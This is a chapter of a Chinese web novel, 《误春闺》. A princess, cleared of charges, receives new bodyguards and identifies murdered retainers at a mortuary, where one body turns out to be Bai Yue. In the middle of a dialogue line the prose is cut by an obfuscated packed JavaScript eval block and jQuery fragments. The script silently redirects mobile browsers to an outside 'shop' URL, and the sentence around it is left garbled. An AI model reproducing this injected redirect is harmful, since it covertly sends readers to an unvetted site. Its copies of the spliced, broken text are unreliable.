23. 第 23 章
作品:《误春闺》 又过了一日。
一早醒来后,李娩仪正在婢女的服侍下梳妆描眉。
莲彩急匆匆的跑了进来,难掩喜色“公主,外面的守卫撤了。”
圈禁解除了?
看来大理寺已经找到了证明长公主清白的证据。
果不其然,还未到午间,承禄就带着景阳帝的圣旨来了。
“听旨……”
“奉天承运皇帝,诏曰长公主遭人陷,身陷囹圄,朕心深为悯恻。今大理寺彻查此案,已擒获幕后真凶,昭雪冤屈。即日起,解除禁足,恢复其公主身份、食邑与仪仗。着令有司即刻昭告天下,以正视听,还朕女清白,另赐黄金千两、锦缎百匹、东珠十串,以慰尔连日委屈。着尔安心静养,不必入宫谢恩,钦此……”
圣旨只言大理寺已查明幕后真凶,景阳帝下旨昭告天下,洗清长公主冤屈,却并未提及凶手身份。
见长公主发愣,承禄出声提醒道“殿下,接旨吧!”
李娩仪回神,跪恩接过圣旨。
承禄道“陛下还特意为殿下调拨了三十余名护府侍卫,另派两名贴身近侍,以护殿下周全。”
说罢,挥了挥手,身着玄衣劲装的侍卫,齐刷刷涌入了公主府。
景阳帝为她安排的贴身侍卫是一男一女,男的看起来三十多岁,留有络腮胡身形宽阔挺拔,一副憨厚老实人的模样。
女的倒是年轻,看起来不过二十几岁,比李娩仪高出小半个头,五官轮廓分明,长相带英气,是个美人,但是脸上冷冰冰的,一副生人勿近的样子。
嗯…根据她素日里追剧和看小说的经验来看,这两人一看就不简单,武功一定很高,李娩仪心里暗想。
承禄宣完旨,便回去复命了。
其实以前长公主身边也是有一个贴身侍卫的,但后来长公主犯了错,景阳帝不忍罚长公主,便罚了那贴身侍卫,将她从长公主身边调离了。
许是时间太久了,长公主的记忆里很少有关于这个贴身侍卫。
李娩仪看着这突然多出来的两个随身侍从,问道“你们俩叫什么名字啊?”
男侍卫率先开口道“殿下,我叫宏九,我这人没有别的优点,就是力气很大。”
他一脸憨笑,拍了拍胸脯道“从今以后殿下的安危就交给我了,便是豁出性命,我也一定会保护好殿下的。”
李娩仪点了点头。
另一个女侍卫淡淡道“我叫莫寒月。”
嗯……
就没了?
从始至终,她的面上没有一点波动。
得亏如今的她不是原来的长公主,不然就长公主那脾性,此时早就怒火中烧了。
李娩仪笑了笑“那以后就有劳你们了。”
莫寒月静立一旁,微微颔首。
宏九抱拳道“不麻烦,正所谓食君之禄,忠君之事,保护殿下是我等的职责。”
暗想,这长公主也没有传闻那般蛮狠嘛。
李娩仪看向莲彩吩咐道“莲彩,找几个侍从把后院空着的房间全部收拾出来,给他们住。”
公主府很大,单是下人住的房间就有一百多个,除去府中原有侍从的住所,空下来的房间还有很多,足以让这些人住下了。
莲彩应了声“是”便退去忙活了。
有了这些人的到来,原本空旷冷淡的府上再次有了生机。
……
午间,用过膳后,大理寺的人找上了门。
李娩仪让侍从把人邀进了府。
来的人是孟晟。
她对此人没什么印象。
孟晟一见到长公主便自报了名号“拜见长公主殿下,在下乃大理寺少卿孟晟,此次前来,是想请公主去辨认三具尸体。”
“你好大的胆子,公主金尊玉贵,如何能去这种腌臜的地方?”一旁的女婢斥道。
孟晟也知晓此话唐突。
眼前这个长公主在锦安可是出了名的不好惹,若非迫不得已……。
李娩仪开口问道“你所说的这些尸体与本宫又有何关?”
孟晟回道“前几日,有人在南门街一口井内发现了两具腐化了的尸体,有人指出那两具尸体是或许是殿下您府中的门客。”
李娩仪默了默,问道“另一具尸体呢?”
孟晟沉默了片刻,回道“这…还需殿下亲自去看。”
李娩仪想了想“好,那本宫就随你走一趟。”
孟晟早就做好被长公主拒绝的准备,没想到长公主这么容易就答应了,实在是有点意外。
死去的尸体,除了高官贵族,普通人的尸体皆被存放在城郊设立的义庄。
此次出行,除了莲彩,新调来的两个贴身侍卫是第一次随李娩仪同行,他们需要时刻贴身保证长公主的安全。
马车停在了义庄外。
此处在城郊,地偏,人烟稀少。
义庄很大,容纳了整个锦安及周边刚死去不久的尸体。
进入义庄,李娩仪便瞧见了好几具盖着白布的尸体。
得亏还未入夏,不然此处必定蚊蝇成群,恶臭难闻。
李娩仪等人随孟晟步入一间屋内,一股寒意扑面而来。众人定睛看去,只见十余具尸体覆着白布,整整齐齐地陈放在床架之上,景象森然,很是令人胆寒生畏。
若是此前,李娩仪见到这些尸体定会害怕的,但是自从经历了鹤绪楼刺杀,还有那夜出了闻香谢遇到的刺杀,见了这么多血腥场景,李娩仪已经对死去的尸体虽有避讳之意,但已经不怎么恐惧了。
孟晟把在南门街发现的两具尸体盖着的白布掀开,露出了两具尸体本来的面貌。
这两具尸体放的久了,尸体好多地方已经腐烂了,看起来瘆得慌。
一旁的莲彩被吓的别过了脸。
孟晟和李娩仪带着的两个贴身侍卫倒是一脸镇定,仿佛再正常不过。
这两具尸体皆穿了黑衣,脸上虽有些腐烂了,但还是依稀能辨别得清,是不久前在李娩仪面前痛哭告状的柳子栩和孙白。
姣好的面容此刻因为腐烂变得丑陋无比,烂肉上还攀爬着数不清的白色蛆虫在慢慢蠕动,吞食腐肉。
李娩仪胃里一阵翻涌,强忍着才没有当场吐出来。
莫寒月上前挡住了她的视线。
孟晟看向李娩仪问道“殿下,可识得出这两具尸体?”
李娩仪缓了缓道“确是我府中的门客,柳子栩与孙白。”接着又问道“他们因何而死?”
孟晟回道“经仵作验查,这两具尸体身上有多处刀伤,应是打斗所致,但致命伤在脖颈处。”
几人寻着望去,那尸体脖颈间果真有一道很深的伤口。
不知为何,瞧见这伤口,李娩仪竟想到那晚,周霖钰杀人的情景。
“殿下可知,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409706|199589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二人曾经可有与谁结过仇?”孟晟又问道。
李娩仪仔细想了想,在长公主的记忆里,她虽与二人相处的多,但对二人几乎是谈不上过多的关切,可谓知之甚少。
唯一有印象的就是这二人时常针对驸马,按长公主的记忆来说,无非是些争风吃醋的举动。
但好多次因为这二人,周霖钰都受了罚,有轻有重,若是周霖钰记恨这二人倒也也情有可原。
可驸马性格温润,想来也不是睚眦必报的人,总不至于为了报仇直接把人家给杀了吧?
她摇了摇头“不曾,在本宫还未被禁足之前,我府内门客很多,极少注意这些门客的私事。”
孟晟沉默了半晌。
这两具尸体他们已经发现了多日,因为长公主尚在禁足,便只好先放着,但如今已经确认了尸体的身份,却没有多余的线索他很是苦恼。
“那公主可否知晓与这二人有关的事情,不论什么都可以。”
李娩仪觉得让她来想这些实在是为难她了,她虽拥有了长公主大部分的记忆,但对于一些小事,她压根就没有什么印象。
李娩仪一脸茫然的看向孟晟“比如呢?”
孟晟想了想回道“家世,户籍所在地,家里有什么人,素日里的喜好,经常去的地方,……”
李娩仪沉思了好久,才道“本宫只知晓这二人素日里喜欢打扮,嗯……讨好我,争风吃醋这个算不算?”
“……”
此话一出,屋内鸦雀无声,尴尬的气氛蔓延开来。
孟晟一噎,这公主真是毫不避讳啊!
他侧头看向一旁站着的莲彩问道“莲彩姑娘,你可知晓与这二人有关的事?”
莲彩垂眸想了想“二位公子并未谈论过自己的身世,二位公子的户籍也不在府中,我只知这二位公子是七个月前入的公主府。”
“可还有其他的?”
莲彩似是想到了什么,抬眸道“哦,对了,这二位公子素日里最喜欢去一个茶楼,好像叫什么…我想想哈,寒…寒鹑居,对,就是这个。”
这无疑是今日的第一个线索。
看来,后续只能试试从户部找出这二人的户籍身份,再重新查案。
他今日本来也没有报多大的希望,何况这长公主今日居肯屈尊来此认尸,这已然是万幸。
孟晟弯腰道“多谢殿下和姑娘。”
接着,他给两具尸体再次盖上了白布。
李娩仪看向孟晟问道“不是说还有一具尸体吗?”
孟晟抬步带着几人走向了另一侧,算是一个屋内的一个隔间。
拉开竹帘,里面躺着一具十分凄惨的尸体,尸体的面部被白布所盖,但仅凭穿着,李娩仪一眼便认出了这具尸体生前的身份。
鹤绪楼的店主,风淋漓。
这具尸首本应与鹤绪楼一役中殒命的其余人一同下葬,此刻却被单独停放在此处。
李娩仪面色沉了沉“这具尸体有何异样?”
孟晟望了这公主一眼,抬步上前,轻轻揭开了尸体脸上盖着的布。
一张熟悉的面容出现在眼前。
这不是风淋漓的脸,而是白悦的。
李娩仪僵在原地,面色惨白地望着那具尸首,惊得猝不及防,半晌都发不出一丝声音。
原来白悦早就死了!
一旁的莲彩更是早已哭出了声。

